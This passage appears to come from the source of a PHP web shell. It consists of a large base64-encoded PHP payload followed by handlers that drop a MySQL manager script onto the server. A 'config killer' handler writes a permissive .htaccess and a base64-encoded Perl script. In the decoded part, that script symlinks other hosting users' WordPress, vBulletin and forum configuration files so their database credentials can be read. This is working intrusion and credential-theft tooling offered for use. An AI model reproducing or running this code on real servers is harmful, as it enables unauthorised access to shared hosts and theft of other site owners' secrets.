cwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUlwNDNwREFxY2pYeHorMzlEN3NuM0VQTWNQQWd4TjFqbm9iK2xZaFJrWjZJYUtvRzNCVnRrWm5udFd4SGxndVk1bjUyUENpRk0rZjVVMmJqdHd4SW50a0kwSEM2OTJlNUdsSEY1TXJWaFI4cjcvUHpwME8wSFVBblVRM3VmUHN3ZkRqYVFkZWdOUUludTZkNld2N3J0OTFqS09SVzdPKzkzenNWTFI2SFkyWStzUlRrN1pkWWI0VHl4SmZDMkdiNkY3dFpnV3ArNmcrUjg3Q0Y3T3p1NzBLcjN4MGZ2cmViYmpmWCtRN011UThaNHNZT3RnNVZ2M3ZQU2NrWGc1UlVPOE9sT0ZxNDM3ck9rRUxXbjJub09UVzE1ZTBBS2Q1QTdHYWJ2VXFlZjdodVR2eXRHRzZvSnB1U3FGMnU2cUordmVOUFBkZ3pZSzdqcVJsay9Qcm1kendlcG1NNVNMN0IzM1Y1OUFmcEQ2ZnYxbDlpaGp3VGc2eDllVHJXS2RQanlaZUhVT1RiRSsrOTBEdjM0eFhhZk4yMlFYNzZFYmZKTVZpVFBsZ0xpNTdLMm5ramZrTk52ZTBxSEtTNTVBMEhIaGxFR2Z5Skdadk51a3ZLQ254ckhWb1N5U0QvZ0NyK0Y1SGpjSzlFenVweUdmSWptQjFmUm81emFDVnlWb3l6eUZmaWtoYUZhekNnVTFsbW9hNkhPV3hYUXdiWnJaZ3pTbDFOWW1NQnRwOGNocUs5OWVwQnZnMS9FcVM4R0tzODVIVXBYT3BDejJwMTJtU1piU2lkakc0SWZab0dNYXlSdlVSRXNRaVNzTyttWXBKZDdLK2dBNElkRlBLTW9PcHl5U3lBYVZGcjBLbzJ6Z2FvMlNrQ2NlTWtGQ2RLb0hUVEphQk9sOEJtZlJpYU1XRGhzOGlvV2tkc2VMS2trcm9yZ0JCV3NUeGxnMjZNTE1LY0tBS3RJQW9nclB6cEJ0ZUpLL1VGckZIZEFqTXdwaEU0RGdUS0d3VlJreXA1aHJIMGJUWlJqVGRiQTdObEJmelU0MldCZklIRkZ1UnFKOUdYWEEzMk9HWEZFM1hEdlkvSU11VThXM0tadXRsU0pFZ0RyTVNMc2JxWjFzRGVUNGhhUkFxbnVGWWZSN3BkdHc5cmplVDhneHV6aWkwbUgyY0RXUlRuL3FvQnlUVzBNZ2FGMEdmRFMyOTB0R3Npa25DSjdwZ25UWldHUkJDbU1LT3FtZ2FlZ0p0cFN0RldITk1Ec0Z3aTFrV3JKbjRSQ21QMmVEQmJ3NmJVTXVzZzY4bEJKU1ByYWNua2tMeTNjcVJJcjMyZnNBM1NGejZSVTR0VkJ3eVdBZ3lRTmFTelRiUFRVQ2lGQUd0TTFXbTRJbDZHSVdwSFFZZ0YzQXJJQmpXY2t0aVdodnZhS3NMdGhOV1lpK0Q4Z2dtYlJ2U0UrN1RSY2xWc0ZRL3B4NlVmMzFpaEkzanUvV2I3WlBlRVQ1SW5vOXhJUThiWkFIV2o5WFZ4d2tmTG5wZ29VM1I5WFZ2VHlMWnlRNXBJYWg5SmNnWS96clExNnc0UWV5NkxCeGRuS0o5bUYvUWY2Y05JOGcxcXd4b3hPLy9aQUpMUmd0WU83ZllKckNDcUFyWXNaZEJndWxFSW94bWVVeTJ6ZDZRWFFkTGcyc2taSlZUZHZYRGlYdzlZZU5hUW9uK0ZCeU5RdlZVelNpV3h3M0NTYlFRakxMTGF6TnRsSE9OeC9RUzZRUjBSWmU1bDA3aStTOU9BaExqYkp5ZXpsYUZ0KzZ3Q3J1aUt2NFNpZDRwbDVjVDBoa2Eweko1aHlGbDU1T0UrZXlpZXV1aTdiRzR5VHJaOENkZGZYNE1MN0xubEdIWlZuOUhoaFBwNlpHaWZTRHp3UlhnR1NxSkxWYzd5bi9EY0dFNUdlcEI1dllFRUFMSEdOaDNaRnhWWTVXb1JOdFVRSVFaZUp1ejhNaUJTMEZXODJTeTZRbzNQcnBZeHJSN2xzZWdrbXBNbllPZTlQUVZKbTdQMHlFUzNHMm1xZFhJNFRLTGhTRXZabHRCMUxjUUpwOTNnbHVFYXVVaDVQeU5YRmNid29aOXE3cWNYMGFUcllEaW5vNWNGckpEczhjaG1zL21nSXlSNU9DTEdFV1lEeVUybmQ3d01CUXBmNnNvRy9neGdmd01WVG9zMWF5bTFyVU1iZWRDeWhVbzV4aWZJZ3diTkZrZWZWVUdobzg2bitGenplYk5wamt2cGpCUFAvS2ZBbzdhM1RDTmFVQmpOa1N6OGNlRE5hSHV4NWtWOTkrQjArSThQaDZlN0orVGFWRTNvY2ZQd0NKbXA2WE5nT25RR0JyQW5XalpzbE9wbTJVMVJSeWFzN2puUzlsQXBlWDd5RCs3aVJxOTRqR1hXUW9rV1VyZG0yNFBWR2xwb21DaVRaM2dnVlRXTGhkemZlZ2tZOTZGeE9XajU0QmFjekx3YnZqM2MvL0QrNEtTd1NEaktLcnJLeVhTNThkM0xoY3pWYVMvRlQ3TWllSDZ2bXROUGluTmFMdzV6T0lyS3BGMHc2YjBML05tRVJzck94UmlpUXViQmNqWXJaUDd1M3hUeXBIdWprTDk3bmNaZU5oZG5oMUlwMGEwb3FwSjk2RlBVWVdPNHE0NHdiR3gwWGkxMkNvVXlBYUI4aU1KNUJBb1FMaHF3aW5FM0pxZ0RPa0p4S1c2azczWU0zREl0QWJNd0luQ21FMUNHTG51WEdJZlJyb1Z1S2doazRwMEF5RkFFZUJ5T2trVm5KUml3K0I1UXlxZjBaVWdhaGxWd2VrQmcxcVVqcmVSYk1kcG1tZkNXN05KNXI4bEZXZTZ1T0p6SnJCdDdNNjFaaHkxZnYwd3FjVktpUytYYnE5V3FpODJlNVVOSDFVeXExTlllTDkyQmoyUHY0ekxxbUxNaVkzMUlUQi9Zb3k2OW52ZkdjdzkvYjBiNnJOaWVWN2luTzRvbmR3WnAybHV1Mmw4WFlEZzRKUnR3N3k2VDhrdm11U1hzczBQLzlmTHRMcmxCd3grRElXRXYySUUrbnFBckdzVzl0RmdoYTJ5cW1xNDhxUGkza2s1Ym96SUJOWUw4R0tNYXlpUlRWbFhKYUNhODIrdURuck1DNmtGT2UzbG1heS9QeTdVWFptQ0pjbUtMbmkrc1hKdTl5SFdjbUhuMXJhalJaTlVWdTNOYWVkbVR5WTFDbXpMci9mdlI1NE00VGYrRFRCYm9GM3hjZFdISkNHVnFLRFhMYUVMV3hDVjlCNFhCYTMzWnJRTUwwYWhDOXVtZUJNYmxCSm82R01IR1lLQ3hNY2xGMVVIMWU5UWp4ZS9uendoL0t6RFd1YmkyaWpxcVE3TVQ5RUlTVnNsVkFCS3ErdEY0QTM3NkVVaU1VZGx1dHJXczNjV1RGaUJ4eDFrK3haZDFaTlZXbTFzTmVsMGFvYmtSVjJFVThHS2RiRkd6M25vQyt3cnBmdXdyK0lVaTR1VStWbUtqRUJPMFBTVFZGQSt3YTJFTEpVTllMVW4xb3czSS9oOFF2SUgwVU5GM2xlc2EwMGgrNVhYaTIweWtocmtXZ3ZSby84cEdDTENrZC9xeFV4ZE9QNlNmcVZPcnE3TW92T3VvZmtCdUdnZno2b3BCcThtYmtJYlFJdmJQTlNWbm83L1IvK1hzdjZyOVgvb2J0Y0V2K0dzalFJSUNmdWhxSkttdzN0eWpuV2cyZzVySTZINnk5dCtmWVJSdXEyZjlxOEZhalJPUWkwaDA5WHFGNnZsSjRVaE9GWnkxQmh4RmY1dmRPQ3Q2aHNQV3Bkbi9iVnZQU3RXYTVvYWVNeHg1QW90NW0zWkhvMjVWcGloRzJUMzYyc3daeWszcy9SbERVU3NZaDFvSnRuUWxTS3l0VVR5YVpJRzZpSUhsUTc2ZXhTaUEvd0V6RE9SUEhoRHpDb0RBMWp3Y1gxcklnT0hDQjVrWFJsZXh0K2hSTTJDYjRhRExYb1VSUTdXYWpKK2tqanNaYVNWbG16U1A1bUhoT2ttU1JHT2o5LzNibUFKYWFaTkJDNVZScXhBZUFiMlJjUkVnUEdHWEFkbXREdGxVMGpydnZ6dE1Rc0xuSWlYRTlzR09VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3REdaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
1803$write = fwrite ($f2 ,base64_decode($sml_db));
1804if ($write)
1805{@chmod('angel/db.php',0755);}
1806echo "</br></br><center><b>GO TO : <a href='angel/db.php' target='_blank'>[+] MYSQL MANAGER [+]</a></center></br>";
1807}
1808}
1809
1810# x=ckperl
1811elseif(isset($_GET['x']) && ($_GET['x'] == 'ckperl')) {
1812echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ PERL</span> <span class='b8'>CONFIG KILLER ]:=O</span></b></nobr><br/><br/> ";
1813echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='image/anu.pl' target='_blank'>[+] HERE [+]</a></center></span></br>";
1814if(!is_dir('image')){
1815$mk = @mkdir('image',0777);
1816$c = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n AddHandler cgi-script .pl \n Require None \n Satisfy Any";
1817$f =@fopen ('image/.htaccess','w');
1818@fwrite($f , $c);
1819$f2 =@fopen ('image/anu.pl','w');
1820$sml_perl = "IyEvdXNyL2Jpbi9wZXJsIC1JL2hvbWUvYWxqbm9mcWUvcHVibGljX2h0bWwvdHJhZmlxL2dvbmZpZy5wbA0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8dGl0bGU+WytdIENPTkZJRyBQRVJMIFsrXTwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQogZm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ3ZiLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLidhbnUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ2FudS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nYW51LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLidhbnUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ2FudS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nd3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJ3dwLnR4dCcpOw0Kc